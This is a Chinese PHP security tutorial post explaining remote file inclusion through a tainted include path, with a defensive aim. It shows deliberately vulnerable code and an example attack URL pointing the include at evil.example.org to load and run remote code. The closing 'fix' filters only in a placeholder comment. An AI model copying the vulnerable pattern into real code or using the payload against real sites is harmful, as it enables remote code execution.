PHP安全编程之文件包含的代码注入攻击

àì夳堔傛蜴生んèń 2022-07-19 05:19 269阅读 0赞

一个特别危险的情形是当你试图使用被污染数据作为动态包含的前导部分时:

  1. <?php
  2. include "{$_GET['path']}/header.inc";
  3. ?>

在这种情形下攻击者能操纵不只是文件名,还能控制所包含的资源。由于PHP默认不只可以包含文件,还可以包含下面的资源(由配置文件中的allow_url_fopen所控制):

  1. <?php
  2. include 'http://www.google.com/';
  3. ?>

include语句在此时会把http://www.google.com的网页源代码作为本地文件一样包含进来。虽然上面的例子是无害的,但是想像一下如果GOOGLE返回的源代码包含PHP代码时会如何。这样其中包含的PHP代码就会被[解析][Link 2]并执行。这是攻击者借以发布恶意代码摧毁你的安全体系的良机。

想象一下path的值指向了下面的攻击者所控制的资源:

  1. http://example.org/index.php?pat ... e.org%2Fevil.inc%3F

在上例中,path的值是URL编码过的,原值如下:http://evil.example.org/evil.inc?

这就导致了include语句包含并执行了攻击者所选定的脚本(evil.inc),同时原来的文件名/header.inc会被认为是一个请求串:

  1. <?php
  2. include "http://evil.example.org/evil.inc?/header.inc";
  3. ?>

这样攻击者就避免了去猜测剩下的目录和文件名(/header.onc)并在evil.example.org上建立相同的路径和文件名的必要性。相反地,在受攻击网站的具体文件名被屏蔽的情况下,他只要保证evil.inc中输出合法的他想要执行的代码就行了。

这种情况与允许攻击者在你的网站上直接修改PHP代码一样危险。幸运的是,只要在include和require语句前对数据进行过滤即可防止这种情况的发生:

  1. <?php
  2. $clean = array();
  3. /* $_GET['path'] is filtered and stored in $clean['path']. */
  4. include "{$clean['path']}/header.inc";
  5. ?>

发表评论

表情:
评论列表 (有 0 条评论,269人围观)

还没有评论,来说两句吧...

相关阅读

    相关 PHP安全编程会话数据注入

    一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能

    相关 PHP安全编程暴力破解攻击

    暴力攻击是一种不使用任何特殊手段而去穷尽各种可能性的攻击方式。它的更正式的叫法是穷举攻击——穷举各种可能性的攻击。 对于访问控制,典型的暴力攻击表现为攻击者通过大量的尝试去

    相关 PHP安全编程shell命令注入

    使用系统命令是一项危险的操作,尤其在你试图使用远程数据来构造要执行的命令时更是如此。如果使用了被污染数据,命令注入漏洞就产生了。 [exec()][exec]是用于执行she

    相关 PHP安全Web攻击

    一、SQL注入攻击(SQL Injection) 攻击者把SQL命令插入到Web表单的输入域或页面请求的字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内